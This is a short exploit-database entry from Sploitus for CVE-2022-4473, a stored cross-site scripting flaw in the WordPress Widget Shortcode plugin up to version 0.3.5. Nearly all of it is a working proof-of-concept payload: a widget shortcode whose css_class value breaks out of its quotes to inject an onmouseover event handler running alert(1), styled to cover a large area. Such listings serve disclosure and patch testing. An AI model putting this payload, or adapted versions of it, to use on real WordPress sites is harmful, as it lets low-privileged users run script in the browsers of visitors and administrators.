Sploitus

Exploit for Widget Shortcode <= 0.3.5 - Contributor+ Stored XSS

CVE-2022-4473

wpexploit · 2023-01-17

Exploit Code

MARKDOWN4 lines
## https://sploitus.com/exploit?id=WPEX-ID:5117B2E9-75B5-459A-B22A-B0E1B0744BD3
Exploit shortcode:

[widget id='text-1' css_class='" onmouseover="alert(1)" style="background:red;width:300px;height:300px;']